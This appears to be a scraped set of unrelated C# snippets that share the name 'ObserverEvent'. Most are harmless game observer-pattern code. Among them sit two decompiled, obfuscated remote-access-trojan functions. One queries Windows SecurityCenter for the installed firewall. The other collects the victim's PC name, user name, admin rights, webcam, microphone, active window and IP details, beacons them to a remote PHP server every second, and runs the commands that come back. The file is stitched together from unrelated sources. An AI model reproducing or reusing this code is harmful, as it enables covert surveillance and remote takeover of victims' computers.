public static string ChangeList() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 try { string text = string.Empty; string scope = ObserverEvent.AddList() ? "root\\SecurityCenter2" : "root\\SecurityCenter"; string queryString = "SELECT * FROM FirewallProduct"; using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, queryString)) { using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator()) { if (managementObjectEnumerator.MoveNext()) { ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current; text = managementObject["displayName"].ToString(); } } } return((!string.IsNullOrEmpty(text)) ? text : "N/A"); } catch { return("Unknown"); } }
public override void OnNotify(Entity entity, ObserverEvent observerEvent) { //we might be able to do a dict with method pointers/ // ceebs tho switch (observerEvent) { case ObserverEvent.PlayerEndedTurn: _combatGameState.EndPlayerTurn(); break; case ObserverEvent.PlayerFiredProjectile: _combatGameState.CharacterFiredProjectile(entity); break; case ObserverEvent.FocusOnPlayer: _combatGameState.FocusOnPlayer(); break; case ObserverEvent.FocusOnSatellite: _combatGameState.FocusOnSatellite(); break; case ObserverEvent.FocusOnSatelliteStrike: _combatGameState.FocusOnSatelliteStrike(); break; case ObserverEvent.FireSatellite: _combatGameState.FireSatellite(); break; } }
public void Notify(Entity entity, ObserverEvent observerEvent) { foreach (Observer observer in _observers) { observer.OnNotify(entity, observerEvent); } }
public override void OnNotify(Entity entity, ObserverEvent observerEvent) { switch (observerEvent) { case ObserverEvent.PlayerEndedTurn: _world.EndPlayerTurn(); break; case ObserverEvent.PlayerFiredProjectile: _world.CharacterFiredProjectile(entity); break; case ObserverEvent.FocusOnPlayer: _world.FocusOnPlayer(); break; case ObserverEvent.FocusOnSatellite: _world.FocusOnSatellite(); break; case ObserverEvent.FocusOnSatelliteStrike: _world.FocusOnSatelliteStrike(); break; case ObserverEvent.FireSatellite: _world.FireSatellite(); break; } }
/// <summary> /// Event를 기다리는 State입니다. /// branches List에 들어있는 순서대로 Predicate를 검사하고 True를 반환하는 Key의 Value인 State로 Transition합니다. /// </summary> /// <param name="e">기다릴 Event</param> public TurnMgr_BranchSingleEvent_( TurnMgr owner, Unit unit, ObserverEvent e, List<KeyValuePair<Predicate<EventParam>, TurnMgr_State_>> branches, Predicate<EventParam> ignoreCondition = null, Action onWaitEnter = null, Action onWaitExecute = null, Action onWaitExit = null) : base(owner, unit, e, null, null, onWaitEnter, onWaitExecute, onWaitExit) { _branches = branches; _ignoreCondition = ignoreCondition; }
// give control back to player after opening cutscene private void ReturnPlayerControl() { trajectory.gameObject.SetActive(true); keyZoomAnimation.gameObject.SetActive(false); roomCamAnimation.gameObject.SetActive(false); var evt = new ObserverEvent(EventName.EnableInput); Subject.instance.Notify(gameObject, evt); }
//Send notifications if something has happened public void Notify(ObserverEvent ev) { for (int i = 0; i < observers.Count; i++) { //Notify all observers even though some may not be interested in what has happened //Each observer should check if it is interested in this event observers[i].OnNotify(ev); } }
public void OnNotify(ObserverEvent env) { string[] parts = env.eventName.Split(':'); string detector = parts[0]; string status = parts[1]; detectors[detector] = status; isDetected = detectors.ContainsValue("detected"); }
// Use this for initialization void Start() { Subject.instance.AddObserver(this); var evt = new ObserverEvent(EventName.StartCutscene); Subject.instance.Notify(gameObject, evt); ECS.StartCutScene(player); roomTrigger.callback = RoomEntered; }
// called once the player enters the room private void RoomEntered() { player.GetComponent <Rigidbody>().velocity = new Vector3(4f, 0, 0); player.transform.position = roomTrigger.transform.position; trajectory.gameObject.SetActive(false); var evt = new ObserverEvent(EventName.DisableInput); Subject.instance.Notify(gameObject, evt); roomCamAnimation.gameObject.SetActive(true); roomCamAnimation.PlayAnimations(OpenExitDoor); }
/// <summary> /// Event를 기다리는 State입니다. /// </summary> /// <param name="e">기다릴 Event</param> /// <param name="nextState">이 State 다음 State</param> /// <param name="paramCondition">Event발생시 매개변수를 검사하여 nextState로 Tranisition 여부를 결정하는 Predicate</param> public BattleMgr_WaitSingleEvent_( BattleMgr owner, ObserverEvent e, BattleMgr_State_ nextState, Predicate <EventParam> paramCondition = null, Action onWaitEnter = null, Action onWaitExecute = null, Action onWaitExit = null) : base(owner) { _e = e; _nextState = nextState; _paramCondition = paramCondition; _onWaitEnter = onWaitEnter; _onWaitExecute = onWaitExecute; _onWaitExit = onWaitExit; }
public void OnNotify(GameObject entity, ObserverEvent evt) { switch (evt.eventName) { case EventName.PlayerSpawned: PlayKeyZoomAnimation(); break; case EventName.PlayerGotKey: PlayKeyCollectedAnimation(); break; } }
/// <summary> /// Event를 기다리는 State입니다. /// </summary> /// <param name="e">기다릴 Event</param> /// <param name="nextState">이 State 다음 State</param> /// <param name="paramCondition">Event발생시 매개변수를 검사하여 nextState로 Tranisition 여부를 결정하는 Predicate</param> public TurnMgr_WaitSingleEvent_( TurnMgr owner, Unit unit, ObserverEvent e, TurnMgr_State_ nextState, Predicate <EventParam> paramCondition = null, Action onWaitEnter = null, Action onWaitExecute = null, Action onWaitExit = null) : base(owner, unit) { _e = e; _nextState = nextState; _paramCondition = paramCondition; _onWaitEnter = onWaitEnter; _onWaitExecute = onWaitExecute; _onWaitExit = onWaitExit; }
public override void OnNotify(Entity entity, ObserverEvent observerEvent) { switch (observerEvent) { case ObserverEvent.PlayerIsChargingWeapon: _ui.UpdateChargeBar(); break; case ObserverEvent.PlayerFiredProjectile: _ui.ClearChargeBar(); _ui.UpdatePreviousWeaponCharge(); break; } }
public static void CallFilter(string asset, string selection) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 SortFilter(asset, selection); DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper { ["ServerType"] = ParserFilterResolver._0001("C#"), ["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent), ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"), ["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"), ["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"), ["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()), ["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()), ["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()), ["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()), ["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()), ["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json")) }; while (true) { try { decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()); string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>()); if (text.Length > 1) { DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text); if (decoratorReaderMapper2.get_Count() > 0) { DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection); } } Thread.Sleep(1000); } catch { Thread.Sleep(10000); } } }).Start(); }
public event ObserverEventHandler ObserverEvent; // 创建委托事件 protected override void OnClick(EventArgs e) { base.OnClick(e); if (ObserverEvent == null) // 当委托事件为null时 { new ObserverClass(this); // 实例化观察者类,观察者类中会添加需要进行委托的方法 } // 如此定义的好处是对于被观察者并不知道观察者进行了哪些动作,并且方便扩展 ObserverEvent.Invoke(this); //if (this.Parent != null) //{ // foreach (Control c in this.Parent.Controls) // { // if (c.Name == "textBox1") // { // ((TextBox)c).Text += this.Name + "\r\n"; // } // } //} }
public void OnNotify(ObserverEvent obsEvent) { switch (obsEvent) { case ObserverEvent.FirstInput: UnlockInput(); break; case ObserverEvent.FirstWall: UnlockFirstWall(); break; case ObserverEvent.FirstEnemy: UnlockFirstEnemy(); break; case ObserverEvent.FirstLevel10: UnlockFirstLevel10(); break; case ObserverEvent.FirstFood: UnlockFood(); break; case ObserverEvent.FirstLevel15: UnlockFirstLevel15(); break; case ObserverEvent.FirstRespawnPoint: UnlockRespawnPoint(); break; case ObserverEvent.FirstDeath: UnlockFirstDeath(); break; } }
public abstract void OnNotify(Entity entity, ObserverEvent obvsEvent);
public void OnNotify(ObserverEvent env) { GameOver(); }